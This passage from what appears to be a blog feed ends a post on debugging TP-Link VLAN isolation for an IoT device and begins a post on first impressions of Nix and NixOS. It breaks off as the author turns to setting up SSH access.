&lt;p>I then added the solar monitoring IoT device&amp;rsquo;s port on the TP-Link switch to the Purgatory VLAN. The IoT device is a non-VLAN-aware device, so I set it as an untagged port for Purgatory and assigned the Purgatory VLAN ID (80) as the port&amp;rsquo;s PVID.&lt;/p>
&lt;p>Assigning the port to the VLAN as an untagged port strips the VLAN tag from packets before they reach the IoT device. Assigning the PVID adds the VLAN tag to packets that the IoT device sends into the switch.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 863px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports.png">
 &lt;img
 
 sizes="(min-width: 768px) 863px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports_hu_6f2d09442811c69e.png 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports_hu_b1730ca9d0132cec.png 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports_hu_f12751ca85f89238.png 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports.png 863w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports.png" alt="Screenshot of Purgatory VLAN on TP-Link switch. Port 24 is a member of the VLAN as an untagged port. The VLAN has no other members." loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 980px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid.webp">
 &lt;img
 
 sizes="(min-width: 768px) 980px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid_hu_e0128c194188bb8e.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid_hu_e782100913f7e4d4.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid_hu_c165b0efc91847da.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid.webp 980w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-pvid.webp" alt="Screenshot of port 24 in TP-Link&amp;#39;s port config showing a PVID of 80" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>I added the untrusted IoT device to the Purgatory VLAN as an untagged port.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>But it didn&amp;rsquo;t work. The cloud dashboard immediately reported the IoT device as offline.&lt;/p>
&lt;p>I can&amp;rsquo;t run any kind of diagnostics from the IoT device, so I needed a different system to debug this. I added my &lt;a href="https://mtlynch.io/notes/nix-first-impressions/#success-nixos-on-a-dell-mini-computer">Dell Optiplex NixOS system&lt;/a> to the Purgatory VLAN, and it lost network access too. It couldn&amp;rsquo;t ping anything on the network as long as it was part of the Purgatory VLAN.&lt;/p>
&lt;p>I was banging my head against the wall trying to figure out what was wrong. I tried adding the test device as a tagged port, as an untagged port, with PVID 1, and with PVID 80. Nothing worked. I couldn&amp;rsquo;t get the device to join the network.&lt;/p>
&lt;p>I checked my OPNsense firewall, and it didn&amp;rsquo;t show any traffic on the Purgatory VLAN at all. I checked DHCP settings to verify I had a DHCP server running for the Purgatory VLAN, and I did.&lt;/p>
&lt;p>After three nights of pulling my hair out trying to understand the behavior, it finally dawned on me: I never added my OPNsense firewall to the Purgatory VLAN!&lt;/p>
&lt;p>Here&amp;rsquo;s what was happening:&lt;/p>
&lt;ol>
&lt;li>IoT device sends traffic to the TP-Link managed switch.&lt;/li>
&lt;li>Switch adds the VLAN tag for Purgatory.&lt;/li>
&lt;li>Purgatory packets have nowhere to go because there weren&amp;rsquo;t any other hosts on the Purgatory VLAN.&lt;/li>
&lt;/ol>
&lt;p>The solution was simple: add the OPNsense firewall to the Purgatory VLAN. Because the firewall is VLAN-aware, I added it as a tagged port:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected_hu_10472dbe21f17680.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected_hu_378a8b4010deb5f5.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected_hu_72e4a96eff672eb.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected.webp 863w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-ports-corrected.webp" alt="Screenshot of Purgatory VLAN on TP-Link switch. Port 24 is a member of the VLAN as an untagged port and Port 1 is a member as a tagged port." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My corrected TP-Link VLAN configuration for the Purgatory VLAN, which allows the IoT device to reach the Internet through my OPNsense firewall&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>VLAN ID&lt;/th>
 &lt;th>VLAN Name&lt;/th>
 &lt;th>Ports (Tagged)&lt;/th>
 &lt;th>Ports (Untagged)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>80&lt;/td>
 &lt;td>Purgatory&lt;/td>
 &lt;td>1 (firewall)&lt;/td>
 &lt;td>24 (IoT device)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My original PVID for port 24 was correct. It had to have a PVID of 80 because the switch needs to tag packets the IoT device sends to the switch with the VLAN tag 80 for Purgatory.&lt;/p>
&lt;p>Once I made these changes, the IoT device was able to connect to its cloud dashboard, and it was appropriately isolated from my home network.&lt;/p>
&lt;h2 id="tips-for-debugging-vlan-issues">Tips for debugging VLAN issues&lt;/h2>
&lt;p>One of the biggest challenges in debugging VLAN issues was finding a way to observe what effect my configuration changes had. If I changed a port from a tagged port to an untagged port, how could I test whether that made a difference?&lt;/p>
&lt;h3 id="open-up-wireshark">Open up Wireshark&lt;/h3>
&lt;p>I tried several different command-line tools to diagnose my device&amp;rsquo;s network status, but the most useful one ended up being Wireshark.&lt;/p>
&lt;p>I&amp;rsquo;m normally reluctant to pull in Wireshark. It&amp;rsquo;s a fantastic tool, but I always get lost trying to find the information relevant to my problem. I expect that if I open Wireshark, I&amp;rsquo;m going to have to re-learn its filter query language, and I&amp;rsquo;m never excited to do that.&lt;/p>
&lt;p>In this case, I didn&amp;rsquo;t have to do anything clever with Wireshark at all. As soon as I pulled it up and saw traffic trying to exit my device and nothing coming back, I realized what was wrong.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark.webp">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark_hu_c61644f65ab06e06.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark_hu_c05148359fae472b.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark_hu_4685d272e60987c4.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark_hu_821f72d4c2cc0d31.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark.webp 1208w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/wireshark.webp" alt="Screenshot of Wireshark" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Wireshark&amp;rsquo;s output made me realize when my switch was dropping all traffic from my test device.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="rebooting">Rebooting&lt;/h3>
&lt;p>One of the major headaches of debugging VLAN issues is that I was never sure when my test computer &amp;ldquo;reacted&amp;rdquo; to the new VLAN settings.&lt;/p>
&lt;p>I wish this wasn&amp;rsquo;t the most reliable technique I found for resetting network state, but it was. It&amp;rsquo;s a pain because it takes 30-90 seconds, depending on what kind of system the host is running, so it&amp;rsquo;s a slow test cycle. But it did, more than any other method, ensure that the system reset its network state in response to changes I made in the switch&amp;rsquo;s VLAN configuration.&lt;/p>
&lt;p>I&amp;rsquo;m sure there are better ways, but I didn&amp;rsquo;t find them.&lt;/p>
&lt;h3 id="using-a-remote-management-tool">Using a remote management tool&lt;/h3>
&lt;p>I&amp;rsquo;m biased because TinyPilot is &lt;a href="https://mtlynch.io/tinypilot/">my product&lt;/a>, but I found TinyPilot helpful in debugging VLAN issues.&lt;/p>
&lt;p>I originally tried debugging my VLANs in a VM on my Proxmox VM server, but that was too different from the actual IoT device I was trying to simulate. The Proxmox server is VLAN-aware, whereas I was trying to test a non-VLAN-aware device. Treating the Proxmox server as an untagged port would lock me out of the Proxmox server entirely.&lt;/p>
&lt;p>With TinyPilot, I always had access to the device I was testing, even if that device lost network connectivity. And I could do everything from my main desktop because I&amp;rsquo;m configuring everything through browser tabs.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="tinypilot-vlan-debugging.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Demo of controlling a bare-metal test server in one browser window and adjusting the VLAN settings for its switch port in another window&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h3 id="ping">ping&lt;/h3>
&lt;p>The most reliable method I found to see drops in network connectivity was the tried and true &lt;code>ping&lt;/code> utility.&lt;/p>
&lt;p>I used two &lt;code>ping&lt;/code> commands in two terminal windows. One was to the firewall at &lt;code>10.0.80.1&lt;/code> and one was to &lt;code>google.com&lt;/code>. The windows would tell me when I gained and lost connectivity to my local network and to Google, respectively.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ping 10.0.80.1 &lt;span style="color:#999;font-style:italic"># Test connection to router&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ping google.com &lt;span style="color:#999;font-style:italic"># Test connection to Internet&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="ifconfig">ifconfig&lt;/h3>
&lt;p>I was surprised at how unhelpful the &lt;code>ifconfig&lt;/code> command was. I thought that the following commands would force network settings to reset:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">IFACE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;eth0&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ifconfig &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">IFACE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> down &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo ifconfig &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">IFACE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> up &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo ifconfig &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">IFACE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Often, running those commands did not reset network state. I&amp;rsquo;d remove the device from a network at the switch level, then reset the device&amp;rsquo;s network interface with &lt;code>ifconfig&lt;/code>, but the device would still think it had an IP on the old VLAN. It wouldn&amp;rsquo;t pick up its IP address on the new subnet until I rebooted.&lt;/p>
&lt;h3 id="dhclient">dhclient&lt;/h3>
&lt;p>I&amp;rsquo;ve seen others recommend &lt;code>dhclient&lt;/code>. This command sequence is supposed to force the host to release its DHCP lease and request a new one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dhclient -r
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dhclient
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I couldn&amp;rsquo;t get that to work on my test systems. The first command just hung and didn&amp;rsquo;t release the DHCP lease.&lt;/p>
&lt;h3 id="nslookup">nslookup&lt;/h3>
&lt;p>I tried &lt;code>nslookup&lt;/code>, which I hadn&amp;rsquo;t used much before. It tells you the results of DNS lookups.&lt;/p>
&lt;p>&lt;code>nslookup&lt;/code> ended up not being useful for VLAN debugging, but it&amp;rsquo;s a good tool to keep in my back pocket.&lt;/p>
&lt;h2 id="gotchas">Gotchas&lt;/h2>
&lt;p>These were the gotchas I ran into when configuring VLANs on my TP-Link switch.&lt;/p>
&lt;ul>
&lt;li>I specified an untagged port for a VLAN, but I forgot to set the PVID for that port also.&lt;/li>
&lt;li>I added a port to a VLAN, but I forgot to add my router&amp;rsquo;s port to the same VLAN.&lt;/li>
&lt;li>I forgot that if VLAN-aware device A connects to the firewall through VLAN-aware device B, then device B must know about all of A&amp;rsquo;s VLANs. Otherwise, device B will simply drop all packets for unrecognized VLANs before they can reach the firewall.&lt;/li>
&lt;li>If you don&amp;rsquo;t hit the &amp;ldquo;Save&amp;rdquo; button in the TP-Link navbar, the switch will wipe out your changes the next time the switch reboots.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My First Impressions of Nix</title><link>https://mtlynch.io/notes/nix-first-impressions/</link><pubDate>Sat, 17 Jun 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nix-first-impressions/</guid><description>&lt;p>&lt;a href="https://nix.dev/">Nix&lt;/a> is a tool for configuring software environments according to source files. I&amp;rsquo;ve been hearing more and more about Nix on Hacker News and Twitter. The idea of it appeals to me, so I&amp;rsquo;ve been tinkering with it over the past few weeks.&lt;/p>
&lt;h2 id="my-history-with-infrastructure-as-code">My history with infrastructure as code&lt;/h2>
&lt;p>Ten years ago, I discovered &lt;a href="https://github.com/saltstack/salt">Salt&lt;/a>, a tool that allows you to define a computer system&amp;rsquo;s configuration in source code. I loved the idea of a git repo that defined what services were installed on my computers and VMs. I could blow away the computer, re-run the configuration tool, and get it back to the same state.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://nix.dev/">Nix&lt;/a> is a tool for configuring software environments according to source files. I&amp;rsquo;ve been hearing more and more about Nix on Hacker News and Twitter. The idea of it appeals to me, so I&amp;rsquo;ve been tinkering with it over the past few weeks.&lt;/p>
&lt;h2 id="my-history-with-infrastructure-as-code">My history with infrastructure as code&lt;/h2>
&lt;p>Ten years ago, I discovered &lt;a href="https://github.com/saltstack/salt">Salt&lt;/a>, a tool that allows you to define a computer system&amp;rsquo;s configuration in source code. I loved the idea of a git repo that defined what services were installed on my computers and VMs. I could blow away the computer, re-run the configuration tool, and get it back to the same state.&lt;/p>
&lt;p>I messed around with Salt for a few years until discovering &lt;a href="https://github.com/ansible/ansible">Ansible&lt;/a>, which I felt like executed the same idea better.&lt;/p>
&lt;p>I do all of my development in VMs on &lt;a href="https://mtlynch.io/building-a-vm-homelab/">my homelab server&lt;/a>. I have a separate VM for each projects, and I manage them all with Ansible.&lt;/p>
&lt;h2 id="the-problems-with-ansible">The problems with Ansible&lt;/h2>
&lt;p>Ansible&amp;rsquo;s biggest problem is that it&amp;rsquo;s painfully slow. It typically takes 10-15 minutes for Ansible to run against one of my VMs.&lt;/p>
&lt;p>Suppose I want to install a new apt package &lt;code>foo&lt;/code>. Do I just run &lt;code>sudo apt install --yes foo&lt;/code> and have the package in 5 seconds? Or do I pull up my Ansible role, edit the configuration to add a step to install &lt;code>foo&lt;/code>, then run the playbook, then wait 15 minutes? Obviously, I end up doing more of the former, so my environments drift from the Ansible files that are supposed to represent them.&lt;/p>
&lt;p>The other issue is that Ansible&amp;rsquo;s changes aren&amp;rsquo;t backwards-compatible. So, if I update a playbook to take advantage of a new Ansible feature, I have to update &lt;em>all&lt;/em> of my playbooks to be compatible. But I never feel inspired to rewrite and retest all of my playbooks, so I get stuck on old versions. I&amp;rsquo;m still on Ansible 2.9, which was released three years ago.&lt;/p>
&lt;h2 id="the-appeal-of-nix">The appeal of Nix&lt;/h2>
&lt;p>I&amp;rsquo;m seeing more and more people talk about Nix and NixOS. A lot of the developers I find interesting are talking about their experiments with Nix.&lt;/p>
&lt;p>The most impactful endorsement I&amp;rsquo;ve seen was from &lt;a href="https://mitchellh.com/">Mitchell Hashimoto&lt;/a>, co-founder of Hashicorp, the company responsible for creating a lot of widely-used open-source infrastructure tools like Vagrant, Packer, Consul, and Terraform. He called Nix, &amp;ldquo;the #1 most positively impactful technology I&amp;rsquo;ve learned in recent years.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/hashimoto-tweet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/hashimoto-tweet_hu_982462e72238aa4a.png 300w, https://mtlynch.io/notes/nix-first-impressions/hashimoto-tweet.png 598w'
 src="https://mtlynch.io/notes/nix-first-impressions/hashimoto-tweet.png" alt="My Nix journey so far. I still stand by that its the #1 most positively impactful technology I&amp;#39;ve learned in recent years." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The idea of Nix feels a lot like Ansible. Nix lets you define a configuration in code, and then it brings the system into that state.&lt;/p>
&lt;h2 id="nix-vs-ansible">Nix vs. Ansible&lt;/h2>
&lt;p>Nix differs from Ansible in a few important ways that I find interesting.&lt;/p>
&lt;h3 id="nix-is-faster-than-ansible">Nix is faster than Ansible&lt;/h3>
&lt;p>Ansible has no concept of the &amp;ldquo;state&amp;rdquo; of the system it&amp;rsquo;s configuring. If it takes 15 minutes to run Ansible on one of my VMs, running the same playbook a minute later would take about 10 minutes. You save a little bit of time because there&amp;rsquo;s probably no package updates between the two invocations, but it&amp;rsquo;s still doing almost all the same work.&lt;/p>
&lt;p>Ansible never says, &amp;ldquo;Oh, I just configured that machine, so there&amp;rsquo;s nothing for me to do now.&amp;rdquo; Ansible has to perform every configuration again because anything could have happened since the last time it ran.&lt;/p>
&lt;p>Nix, on the other hand, does have a concept of state. If you make a one-line change to a 200-line Nix configuration, it doesn&amp;rsquo;t have to re-do all the work from the other 199 lines. It can evaluate the state of the system against the configuration file and recognize that it just has to apply the one-line change. And that change usually happens in a few seconds.&lt;/p>
&lt;p>&lt;strong>Edit (2023-06-19)&lt;/strong>: A reader with more experience &lt;a href="https://news.ycombinator.com/item?id=36388114">clarified that Nix doesn&amp;rsquo;t have state in the way I assumed&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Nix is not fast because it is stateful. It is fast because it is functional and reproducible, which allows for caching without compromising correctness.&lt;/p>&lt;/blockquote>
&lt;p>I had thought that Nix kept track of which tasks brought me to which system state. For example, imagine that performing tasks X and Y brings me to state A, and performing tasks X, Y, and Z brings me to state B. I thought that a Nix system in state A would know to only perform task Z to reach state B.&lt;/p>
&lt;p>My new understanding is that if you ask a Nix system in state A to go to state B, Nix will perform tasks X, Y and Z, but Nix cached the results of tasks X and Y, so they happen near-instantly.&lt;/p>
&lt;h3 id="nix-optimizes-for-local-configuration">Nix optimizes for local configuration&lt;/h3>
&lt;p>Ansible is designed to configure systems over the network. You can still specify &lt;code>localhost&lt;/code> as the target, but that&amp;rsquo;s not the scenario that Ansible is optimized for.&lt;/p>
&lt;p>Nix is designed to configure the environment it&amp;rsquo;s in. With Nix, you define what should be in the environment, and then Nix creates that environment for you in place. With NixOS, you defined the entire operating system, and NixOS gets the operating system into that state. You can change low-level things like the filesystem, the Linux kernel, or the bootloader.&lt;/p>
&lt;p>This solves the problem I had with Ansible where upgrading one Ansible playbook to use a later version of Ansible requires me to upgrade all the playbooks on my system. You can have many Nix systems running different versions of Nix, and they work fine. If I have some Ansible files that require Ansible 2.9, some that require 2.10, and some that require 2.14, then it&amp;rsquo;s a big pain to juggle them all.&lt;/p>
&lt;h3 id="nix-changes-are-atomic">Nix changes are atomic&lt;/h3>
&lt;p>With Ansible, it&amp;rsquo;s easy to fail halfway through a configuration, leaving the system in an undefined state.&lt;/p>
&lt;p>With Nix, changes are atomic. Nix either gets your system into the desired state or it rolls back to the state before you tried changing the configuration.&lt;/p>
&lt;h2 id="nix-resources-that-have-been-helpful">Nix resources that have been helpful&lt;/h2>
&lt;p>One of the biggest complaints I see about Nix is that it&amp;rsquo;s underdocumented, incorrectly, or poorly documented. My experience is that the documentation feels like it&amp;rsquo;s aimed at experienced Nix users.&lt;/p>
&lt;p>A lot of Nix documentation I&amp;rsquo;ve found says things like, &amp;ldquo;Simply add these lines!&amp;rdquo;&lt;/p>
&lt;p>Huh?&lt;/p>
&lt;p>Which file? And where in the file do I add those lines?&lt;/p>
&lt;p>Here are the best resources I&amp;rsquo;ve found so far:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://zero-to-nix.com/">Zero to Nix&lt;/a>: This is the best set of introductory Nix tutorials I&amp;rsquo;ve found. It&amp;rsquo;s written by &lt;a href="https://determinate.systems">Determinate Systems&lt;/a>, who also writes beginner-friendly &lt;a href="https://determinate.systems/#blog">blog posts&lt;/a> about using Nix.&lt;/li>
&lt;li>&lt;a href="https://borretti.me/article/nixos-for-the-impatient">NixOS for the Impatient&lt;/a>: I&amp;rsquo;d tried to install NixOS a couple of times before this, but this post finally convinced me it was easier than I thought, and it gave me the final push to push through the process.&lt;/li>
&lt;li>&lt;a href="https://jvns.ca/blog/2023/02/28/some-notes-on-using-nix/">&amp;ldquo;Some notes on using nix&amp;rdquo; by Julia Evans&lt;/a>: Julia&amp;rsquo;s also a newcomer to Nix, so it was helpful seeing the blockers she ran into and how she worked around them even though there&amp;rsquo;s a lot about the ecosystem that&amp;rsquo;s still new and unfamiliar to her.&lt;/li>
&lt;/ul>
&lt;h2 id="failed-attempt-1-nixos-in-a-vm">Failed attempt #1: NixOS in a VM&lt;/h2>
&lt;p>I followed the &amp;ldquo;NixOS for the Impatient&amp;rdquo; tutorial on a Proxmox VM, and everything worked at first. Then, I got to the point in the tutorial where you change the hostname, and then I rebooted for it to take effect. But the VM got into a weird state where it seemed like it could boot but not log in. After I entered the password in the login screen, the screen just froze.&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="vm-boot-hang.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>NixOS installed successfully on my Proxmox VM server, but it hung after login on the second boot.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="failed-attempt-2-nixos-on-the-raspberry-pi-4">Failed attempt #2: NixOS on the Raspberry Pi 4&lt;/h2>
&lt;p>Since a VM didn&amp;rsquo;t work, I figured bare metal was the next logical choice. I had a spare Raspberry Pi 4 on hand, and I thought the Pi would be fun hardware to experiment on.&lt;/p>
&lt;p>I found two different official-looking tutorials for installing NixOS on the Raspberry Pi 4:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://nixos.wiki/wiki/NixOS_on_ARM/Raspberry_Pi_4">NixOS Wiki: NixOS on ARM/Raspberry Pi 4&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://nix.dev/tutorials/nixos/installing-nixos-on-a-raspberry-pi">nix.dev: Installing NixOS on a Raspberry Pi&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The problem with both of these tutorials was they assumed that you&amp;rsquo;re already running a Nix environment. I&amp;rsquo;m trying to prepare the microSD from my main computer, which is a Win10 system, so I didn&amp;rsquo;t have Nix already.&lt;/p>
&lt;p>The &lt;a href="https://nixos.org/download.html#nixos-iso">NixOS download page&lt;/a> lists a 64-bit ARM image. The Raspberry Pi 4 supports 64-bit ARM, so I thought I&amp;rsquo;d try that.&lt;/p>
&lt;p>I loaded up Balena Etcher, my preferred tool for flashing microSDs. The first red flag was when Etcher basically said, &amp;ldquo;Hey, what are you thinking? That&amp;rsquo;s not even a bootable image.&amp;rdquo;&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 802px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/etcher-warning.webp">
 &lt;img
 
 sizes="(min-width: 768px) 802px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/etcher-warning_hu_42613cf2371d42d3.webp 300w, https://mtlynch.io/notes/nix-first-impressions/etcher-warning_hu_a809eb4a2c49e1f9.webp 600w, https://mtlynch.io/notes/nix-first-impressions/etcher-warning_hu_3a3ce3961ce2b586.webp 800w, https://mtlynch.io/notes/nix-first-impressions/etcher-warning.webp 802w'
 src="https://mtlynch.io/notes/nix-first-impressions/etcher-warning.webp" alt="Missing partition table. It looks like this is not a bootable image. The image does not appear to contain a partition table, and might not be recognized or bootable by your device." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I continued on anyway! But when I tried booting from the microSD, the Pi agreed that this was not a bootable image, so it just got stuck.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1405px">



 &lt;a href="https://mtlynch.io/notes/nix-first-impressions/pi-noboot.png">
 &lt;img
 
 sizes="(min-width: 768px) 1405px, 98vw"
 srcset='https://mtlynch.io/notes/nix-first-impressions/pi-noboot_hu_a79dffbb4e62ea4.png 300w, https://mtlynch.io/notes/nix-first-impressions/pi-noboot_hu_b69e3ac6bdab3aad.png 600w, https://mtlynch.io/notes/nix-first-impressions/pi-noboot_hu_9ea2949a3b055939.png 800w, https://mtlynch.io/notes/nix-first-impressions/pi-noboot_hu_9281c0130358e57d.png 1200w, https://mtlynch.io/notes/nix-first-impressions/pi-noboot.png 1405w'
 src="https://mtlynch.io/notes/nix-first-impressions/pi-noboot.png" alt="Pi boot screen that says &amp;#39;Progress: Trying boot mode USB-MSD&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I tried flashing the same image using the official Raspberry Pi Imager utility, but I got the same results.&lt;/p>
&lt;p>&lt;strong>Update&lt;/strong>: I finally &lt;a href="https://mtlynch.io/nixos-pi4">got this working&lt;/a>.&lt;/p>
&lt;h2 id="success-nixos-on-a-dell-mini-computer">Success: NixOS on a Dell Mini computer&lt;/h2>
&lt;p>I do most of my testing for work against a Dell Optiplex 7040. It was the only bare-metal machine I had available that I could blow away, so I tried on that.&lt;/p>
&lt;p>Everything worked exactly like in &lt;a href="https://borretti.me/article/nixos-for-the-impatient">&amp;ldquo;NixOS for the Impatient.&amp;rdquo;&lt;/a> The install took about 10 minutes from start to finish. Seven minutes was just copying files. I skipped encryption since this is just a test device, and I wanted to eliminate a password-entry step on every reboot.&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="nixos-full-install.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Installing NixOS on a Dell Optiplex 7040 (I sped up the file copy portion)&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>In the end, I had a full, working NixOS install!&lt;/p>
&lt;h2 id="failed-attempt-3-nixos-on-the-raspberry-pi-4-again">Failed attempt #3: NixOS on the Raspberry Pi 4 (again)&lt;/h2>
&lt;p>Now that I had a working NixOS machine, I wanted to give the Raspberry Pi another shot. The blocker before was not having a Nix environment from which to prepare the microSD image, but now I had one.&lt;/p>
&lt;p>I followed the &lt;a href="https://nix.dev/tutorials/nixos/installing-nixos-on-a-raspberry-pi">nix.dev tutorial&lt;/a>, which brought me farther than my first attempt, but I still couldn&amp;rsquo;t boot. The Pi would just reach a stage of showing a multicolored screen and then hang:&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="pi-boot-failure2.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>When I flashed the NixOS Pi aarch64 microSD image from a NixOS system and booted my Pi from it, it hung on a multicolored screen.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>&lt;strong>Update&lt;/strong>: I finally &lt;a href="https://mtlynch.io/nixos-pi4">got this working&lt;/a>.&lt;/p>
&lt;h2 id="task-1-getting-ssh-access">Task 1: Getting SSH access&lt;/h2>
&lt;p>Okay, back to my working NixOS install on the Dell Optiplex.&lt;/p>
&lt;p>I needed to SSH in to the NixOS system from my main machine. To do that, I&amp;rsquo;d need to get my SSH keys on the system.&lt;/p>
